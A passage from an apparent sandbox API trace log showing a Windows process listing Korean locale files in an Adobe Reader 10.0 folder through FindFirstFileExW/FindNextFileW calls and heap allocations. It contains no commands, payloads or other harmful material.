ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.KOR", cAlternateFileName="")) returned 1 [0082.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b4c8 [0082.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282e80 [0082.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.207] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.KOR", cAlternateFileName="")) returned 1 [0082.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b4e8 [0082.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1282f88 [0082.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.209] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.KOR", cAlternateFileName="")) returned 1 [0082.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b508 [0082.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1283090 [0082.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.210] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.KOR", cAlternateFileName="")) returned 1 [0082.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b528 [0082.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1283198 [0082.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.212] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.KOR", cAlternateFileName="")) returned 1 [0082.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b548 [0082.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12832a0 [0082.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6d80) returned 0x12a1978 [0082.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129ac30) returned 1 [0082.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.213] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.KOR", cAlternateFileName="")) returned 1 [0082.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b568 [0082.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12833a8 [0082.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.215] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.KOR", cAlternateFileName="")) returned 1 [0082.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b588 [0082.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12834b0 [0082.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.216] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.KOR", cAlternateFileName="")) returned 1 [0082.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b5a8 [0082.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12835b8 [0082.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.218] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.KOR", cAlternateFileName="")) returned 1 [0082.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b5c8 [0082.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12836c0 [0082.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.219] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.KOR", cAlternateFileName="")) returned 1 [0082.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b5e8 [0082.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12837c8 [0082.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.221] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fafdf80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.KOR", cAlternateFileName="")) returned 1 [0082.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125b608 [0082.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12838d0 [0082.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.222] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.KOR", cAlternateFileName="")) returned 1 [0082.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.223] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.KOR", cAlternateFileName="")) returned 1 [0082.223] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.KOR", cAlternateFileName="")) returned 1 [0082.223] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.KOR", cAlternateFileName="")) returned 1 [0082.223] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.KOR", cAlternateFileName="")) returned 1 [0082.223] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.223] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.KOR", cAlternateFileName="")) returned 1 [0082.223] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.KOR", cAlternateFileName="")) returned 0 [0082.224] GetLastError () returned 0x12 [0082.224] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0082.224] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x56c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.KOR", cAlternateFileName="")) returned 1 [0082.224] FindNextFileW (in: hFindFile=0x2e9040, 